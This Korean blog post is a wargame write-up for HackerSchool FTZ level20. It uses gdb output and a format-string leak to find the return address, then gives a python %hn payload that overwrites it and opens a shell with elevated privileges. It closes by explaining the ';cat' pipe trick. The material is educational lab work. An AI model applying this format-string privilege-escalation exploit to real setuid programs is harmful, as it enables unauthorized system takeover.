shell상태와 gdb 상태에서의 ret 주소는 다릅니다.

하지만 스택상의 배치구조는 상대적으로 같습니다.

이 원리를 이용하는 겁니다.

커널 2.4이므로 환경변수의 쉘코드가 실행이 가능합니다.

먼저 eggshell을 띄웁니다.

[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$

다음 gdb상태에서 ret주소를 알아보겠습니다.

[level20@ftz tmp]$ gdb -q ../attackme
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>:    push   %ebp
0x080483b9 <main+1>:    mov    %esp,%ebp
0x080483bb <main+3>:    sub    $0x58,%esp
0x080483be <main+6>:    and    $0xfffffff0,%esp
0x080483c1 <main+9>:    mov    $0x0,%eax
0x080483c6 <main+14>:   sub    %eax,%esp
0x080483c8 <main+16>:   sub    $0x8,%esp
0x080483cb <main+19>:   push   $0xc1d
0x080483d0 <main+24>:   push   $0xc1d
0x080483d5 <main+29>:   call   0x80482f8 <setreuid>
0x080483da <main+34>:   add    $0x10,%esp
0x080483dd <main+37>:   sub    $0x4,%esp
0x080483e0 <main+40>:   pushl  0x80495c0
0x080483e6 <main+46>:   push   $0x4f
0x080483e8 <main+48>:   lea    0xffffffa8(%ebp),%eax
0x080483eb <main+51>:   push   %eax
0x080483ec <main+52>:   call   0x80482c8 <fgets>
0x080483f1 <main+57>:   add    $0x10,%esp
0x080483f4 <main+60>:   sub    $0xc,%esp
0x080483f7 <main+63>:   lea    0xffffffa8(%ebp),%eax
0x080483fa <main+66>:   push   %eax
0x080483fb <main+67>:   call   0x80482e8 <printf>
0x08048400 <main+72>:   add    $0x10,%esp
0x08048403 <main+75>:   leave
0x08048404 <main+76>:   ret
0x08048405 <main+77>:   nop
0x08048406 <main+78>:   nop
0x08048407 <main+79>:   nop
End of assembler dump.
(gdb) b *main+1
Breakpoint 1 at 0x80483b9
(gdb) r
Starting program: /home/level20/attackme

Breakpoint 1, 0x080483b9 in main ()
(gdb) x/x $esp
0xbffff1e8:     0xbffff208 <--- 이전 ebp 주소
(gdb)
0xbffff1ec:     0x40038917 <--- ret
(gdb)

ret 주소는 0xbffff1ec이고 이전 ebp주소는 0xbffff208입니다.

이 둘의 차이값은 항상 일정합니다.

차이값을 구하면 0xbffff208 - 0xbffff1ec = 0x1c

이 차이값을 잘 기억하시기 바랍니다.

그 다음 쉘 상태에서 이전 ebp주소를 구해보겠습니다.

[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffff234bffff1e88048412401591c040015360bffff208400389171 <--- ret 주소.
[level20@ftz tmp]$

포멧스트링 버그를 통해서 이전 ebp주소가 노출되었죠?

보시면 이전 ebp주소는 0xbffff208로 gdb와 같은 주소를 갖고 있습니다.

그럼 당연히 ret주소도 같습니다.

하지만 egg쉘을 취소한 후 다시 확인을 해보면...

[level20@ftz tmp]$ exit
exit
[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffffb24bffffad88048412401591c040015360bffffaf8400389171 <--- 이전 ebp주소가 다름!!!

이전 ebp주소가 0xbffffaf8로써 다름을 알수 있습니다.

이런 현상이 발생하는 이유는 egg쉘에서 수행하는 환경변수 등록때문입니다.

모든 환경변수는 스택상에 배치되는데 egg쉘의 경우 NOP코드를 비정상적으로 크게 넣습니다.

커널 2.4에서 환경변수의 크기가 비정상적으로 클 경우 스택구조가 gdb와 shell과 같아 지는 현상이 발생합니다.

가끔 egg쉘을 띄웠는데도 불구하고 ret주소가 다른 경우도 있는데 그 경우는 

환경변수의 내용을 수정했거나 argv영역의 값이 다를경우 발생합니다.

하지만 다르다고 할지라도 아까 구한 gdb에서의 이전 ebp - ret주소 차이값을 

구한 다음 shell에서 이전 ebp값을 알수 있으면 손쉽게 ret주소를 알수있습니다.

다시 egg쉘을 실행한 후 ret주소를 변경하여 쉘을 실행해 보겠습니다.

[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$

쉘에서의 ret주소는 0xbffff1ec입니다.

[level20@ftz tmp]$ (python -c 'print "\xee\xf1\xff\xbf"+"\xec\xf1\xff\xbf"+"%49143x%4$hn"+"%15033x%5$hn"';cat) | ../attackme 

...

                                                   40157460
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.

clear Password is "**********************".
웹에서 등록하세요.

* 해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다.
당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.
해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다.
이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의
가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.

Clear의 권한을 획득했습니다.

--------------------------------------------------------------------------

커널 2.4는 스택의 주소가 고정적이기 때문에 스택상에 있는 주소값과 상대적인 

차이를 이용하면 얼마든지 가능합니다.

위에서 보여준 예는 main()의 리턴어드레스변조지만 포멧스트링이 일어나는 

printf의 리턴어드레스도 변조가 가능합니다.

이전 글에서 질문하신 답변을 더해드리겠습니다.

질문 : 추가로 하나만 더 질문 드릴게요..// 그렇다면, sh-3.2# 이런식으로 쉘이 뜨는건, 자식프로세스로 쉘이뜨는게 아니라, 독립된 프로세스로 쉘이 뜬다는 말씀이신건가요??

자식프로세스라는 말에 중점을 두고 읽으신것 같습니다. ^^;;

표준 입력을 요구하는 프로그램을 공격해야할 경우 파이프를 통해서 

원하는 코드를 넣어야 합니다.

다음과 같이 입력을 할 경우

printf "..." | ./vul

먼저 printf가 실행이 되고 출력되는 값을 잠시 저장하고 있습니다.

이 상태에서 vul이 실행이 됩니다.

vul에서 표준 입력을 요구할때 그때서야 printf의 출력 코드를 입력으로 넣게되고

printf는 종료가 됩니다.

이렇게 되면 다음과 같이 됩니다.

... | ./vul

즉 파이프의 연결이 해제가 됩니다.

이 상태에서 자식프로세스로 shell이 뜬다고 해도 입력을 할수 없게 됩니다.

그래서  printf "...";cat | ./vul

이렇게 실행하므로써 

cat | ./vul --> shell

cat이라는 표준 출력 프로그램을 이용해서 shell에게 명령을 내릴수있는 파이프를

연결 유지하기 위함입니다.

파이프의 연결 유지를 위해서 위와 같이 공격을 하는것입니다. ^^

저의 짧은 지식이 답변이 되었는지 모르겠습니다.

저도 pogusm님처럼 스택과 씨름할때가 기억나네요 ^^

즐거운 하루 되세요~


'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03
suid 동작  (0) 2015.10.30

+ Recent posts